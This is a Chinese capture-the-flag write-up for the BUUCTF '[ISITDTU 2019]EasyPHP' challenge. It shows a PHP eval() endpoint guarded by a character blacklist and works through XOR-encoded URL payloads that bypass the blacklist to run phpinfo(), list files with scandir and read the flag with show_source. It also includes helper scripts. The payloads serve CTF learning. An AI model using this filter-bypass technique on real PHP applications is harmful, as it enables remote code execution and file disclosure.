BUUCTF--[ISITDTU 2019]EasyPHP

来看给出的php代码

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

我们只需要绕过这两个IF判断即可执行任意代码

首先来看第一个IF语句,这里是个正则判断

\x00- 0-9                       匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops              匹配这些字符
\x7F                            匹配DEL(\x7F)字符

第二个IF语句是判断字符串中包含不超过13种字符

这里大佬给出一种测试方法,测试所有可以用的函数,这里最后剩下的函数并没有可以利用的

$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
    if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
    if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
    print($arr.'<br/>');
}

//运行结果
bcmul
rtrim
trim
ltrim
chr
link
unlink
tan
atan
atanh
tanh
intval
mail
min
max
virtual

这里需要补充下知识:

我们先从简单入手,尝试执行phpinfo(),该命令字符并没有超过13种,所以不用考虑第二个IF语句,第一个IF语句需要使用异或来绕过

aa='phpinfo'  # 更换成为想要的字符串
for i in aa:
    print(  hex( int(hex(ord(i)),16) ^ 0xff),end=' ')
#例如:先将p转为ascii-->转换成16进制-->与0xff异或,得出来的值再与0xff异或即可得出原来的值

所以这里的payload为:

?_=(%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff)();

成功执行phpinfo

了解基本原理后我们需要来找flag在哪
我们可以用scandir() 或者 glob()函数列目录,但它返回一个数组,我们还需要一个print_r或var_dump

print_r(scandir('.'));
echo count_chars(strtolower("print_r(scandir('.'));"),0x3)  #输入不重复的字符
echo strlen(count_chars(strtolower("print_r(scandir('.'));"),0x3)); #输出字符种数
echo PHP_EOL; # 就是 "\n"
echo urlencode("print_r(scandir('.'))"); #url编码
结果:
'().;_acdinprst
15
print_r%28scandir%28%27.%27%29%29

这里已经超过13种字符了,我们需要进行替换
使用py脚本可以查看出哪些可以被替换掉

now ='\'().;_acdinprst'
for i in now :
    for j in now:
        for k in now :
            for m in now :
                if ord(j)^ord(k)^ord(m) == ord(i):
                    if(j==k or j==m or m==k ):
                        continue
                    else :
                        print(i+'=='+j + '^'+ k +'^'+m)

 通过给出的结果,我们将t,n,r分别用一下三种形式替换掉,这样我们的字符种数就可以缩减到12个

t = s^c^d
n = i^c^d
r = a^c^p
t -->scd 的中间值为(也就是 s^0xff   c^0xff   d^0xff )
0x8c 0x9c 0x9b
n -->icd 的中间值为
0x96 0x9c 0x9b
r -->acp 的中间值为
0x9e 0x9c 0x8f
print_r=((%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))
      这部分的tnr换成第一个也就是sia   这个不变           这个tnr换成第二个也就是ccc   这个的tnr就换第三个,也就ddp了是

scandir=((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))

综上payload为:

?_=((%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))((%d1)^(%ff)));

 接下来就是要考虑怎么来读取文件了,scandir返回的是个数组,且刚才的结果显示我们要找的文件在scandir的结果最后面,那么用end()方法就可以得到文件名了。读文件可以用show_source或者readfile

show_source(end(scandir(.)));

通过与第一次的比较,这次只多了一个字母

t = s^c^d
n = i^c^d
r = a^c^p
w = a^c^u  多加的一个。  

这里就不再赘述,直接给出最终的payload

show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

成功拿到flag

参考wp

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值